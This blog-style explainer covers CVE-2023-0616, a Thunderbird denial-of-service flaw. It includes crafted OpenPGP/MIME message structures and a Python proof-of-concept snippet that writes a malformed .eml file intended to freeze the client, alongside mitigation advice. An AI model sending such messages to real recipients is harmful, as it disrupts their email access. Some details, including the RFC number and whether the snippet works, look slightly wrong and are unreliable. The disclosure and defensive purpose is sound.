CVE-2023-0616 - How a Crafted OpenPGP Email Can Freeze Thunderbird – Analysis, Code Insights, and Exploit Explanation
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Overview
In early 2023, security researchers uncovered CVE-2023-0616—a denial-of-service (DoS) vulnerability affecting Mozilla Thunderbird (version less than 102.8). This bug is triggered when Thunderbird receives a specially crafted MIME email containing a mix of OpenPGP and OpenPGP MIME data. If exploited, it causes the user interface (UI) to freeze, making Thunderbird unresponsive.
This post explains the vulnerability in detail, provides example MIME structures, explores possible exploitation, and offers mitigation advice—all in straightforward language for Thunderbird users and email security enthusiasts.
What Is CVE-2023-0616?
Thunderbird supports end-to-end email encryption via OpenPGP, a technology for encrypting and signing messages. Emails with OpenPGP data usually follow defined standards so email clients can read and process them safely.
The CVE-2023-0616 issue is
- If one email mixes raw OpenPGP blocks and OpenPGP MIME structures in a specific arrangement, Thunderbird gets stuck in a processing loop.
- This loop leads the Thunderbird interface to lock up entirely, refusing to respond to any mouse clicks or keyboard input.
- An attacker can exploit this by emailing a specially crafted message, causing a DoS condition for any recipient using a vulnerable version of Thunderbird.
> Impact: Thunderbird hangs every time the user tries to open, preview, or otherwise interact with the malicious email. Sometimes even just selecting the email can cause a crash.
How Does the Attack Work?
Thunderbird expects emails to follow email security standards. The bug here relates to emails that are malformed but *almost* correct: combining "raw" OpenPGP data with MIME-encoded OpenPGP parts.
The bug triggers when Thunderbird sees something like this in an email
1. The message is labeled as "multipart/encrypted," which is how most encrypted OpenPGP emails are sent.
Instead of proper MIME-separated parts, one of the parts is itself a raw OpenPGP encrypted blob.
3. This mixing causes Thunderbird's parsing engine to loop endlessly, trying to decode and display each part.
Here is a simplified example (not a complete email, but illustrates the idea)
Content-Type: multipart/encrypted; protocol="application/pgp-encrypted"; boundary="XYZ"
--XYZ
Content-Type: application/pgp-encrypted
Version: 1
--XYZ
Content-Type: application/octet-stream
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js
hQGMA4EGnN9+Iv1cAQv/Rwh+vZxuZd...
... (rest of encrypted PGP block) ...
-----END PGP MESSAGE-----
--XYZ--
But, in the exploit case, an attacker mixes the above with another nested MIME structure (or with more OpenPGP data inside a "text" part), confusing the parser.
Here's a more complex crafted message
Content-Type: multipart/encrypted; boundary="b1"; protocol="application/pgp-encrypted"
--b1
Content-Type: application/pgp-encrypted
Version: 1
--b1
Content-Type: application/octet-stream
Content-Type: multipart/mixed; boundary="b2"
--b2
Content-Type: text/plain
Hello! Here is some normal text.
--b2
Content-Type: application/pgp-encrypted
-----BEGIN PGP MESSAGE-----
Version: GnuPG v2
hQGMA4EGnN9+Iv1cAQwAtHz...
-----END PGP MESSAGE-----
--b2--
--b1--
When Thunderbird processes this, it doesn't understand how to display it. Instead of failing gracefully, it tries over and over to parse both the outer and inner OpenPGP parts, freezing the UI.
How might an attacker use this?
1. The attacker composes a malicious email like the above—combining OpenPGP and OpenPGP MIME data against RFC standards.
They send the email to a target using Thunderbird < 102.8.
3. As soon as the victim's Thunderbird tries to preview, read, or in some cases even list the email, Thunderbird's user interface freezes.
4. This DoS condition remains until the process is killed, and it may reoccur if Thunderbird tries to show the message again.
No code execution or data leak is involved, but repeated freezes could annoy users, disrupt workflows, or suppress security alerts.
Reproducing on a Test System
For demonstration or research, you can craft an email using Python's email module or simply edit raw EML files.
Here’s a Python snippet to generate a vulnerable email
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
msg = MIMEMultipart('encrypted', protocol="application/pgp-encrypted", boundary='b1')
part1 = MIMEApplication('Version: 1\n', 'pgp-encrypted')
part2 = MIMEApplication("""
Content-Type: multipart/mixed; boundary="b2"
--b2
Content-Type: text/plain
Hello!
--b2
Content-Type: application/pgp-encrypted
-----BEGIN PGP MESSAGE-----
hQGMA4EGnN9+Iv1cAQwAtHz...
-----END PGP MESSAGE-----
--b2--
""", 'octet-stream')
msg.attach(part1)
msg.attach(part2)
with open('dostest.eml', 'wb') as f:
f.write(msg.as_bytes())
Warning: Only open test emails on isolated systems. Do not send spam or harm users.
Links & References
- CVE-2023-0616 at MITRE
- Mozilla Foundation Security Advisory 2023-07
- Thunderbird Release Notes 102.8
- OpenPGP Email Format (RFC 488)
- Thunderbird Bugtracker issue (if available to public)
Mitigation
- Update Thunderbird: All users should upgrade to version 102.8 or newer. This version contains a fix preventing the parsing loop from locking the UI.
- Avoid Unknown Encrypted Emails: Do not open or preview encrypted emails from unknown sources if you use an older Thunderbird.
- System Admins: Consider server-side email filtering that drops malformed OpenPGP MIME emails until all users are patched.
Conclusion
CVE-2023-0616 is a great reminder: even safe-looking tools like email clients can have nasty bugs lurking in complex protocol handling. While this bug didn't allow attackers to steal data, it could be used by spammers and malicious actors to knock out your email access—until you upgrade.
If you're using Thunderbird, keep it up to date, and always be wary of unexpected encrypted emails—especially before June 2023.
*Stay safe, and happy emailing!*
*This blog post is an original and exclusive summary and analysis of the public CVE. Please refer to the linked resources for deep technical breakdowns and official updates.*
Timeline
Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/08/2023 19:35:00 UTC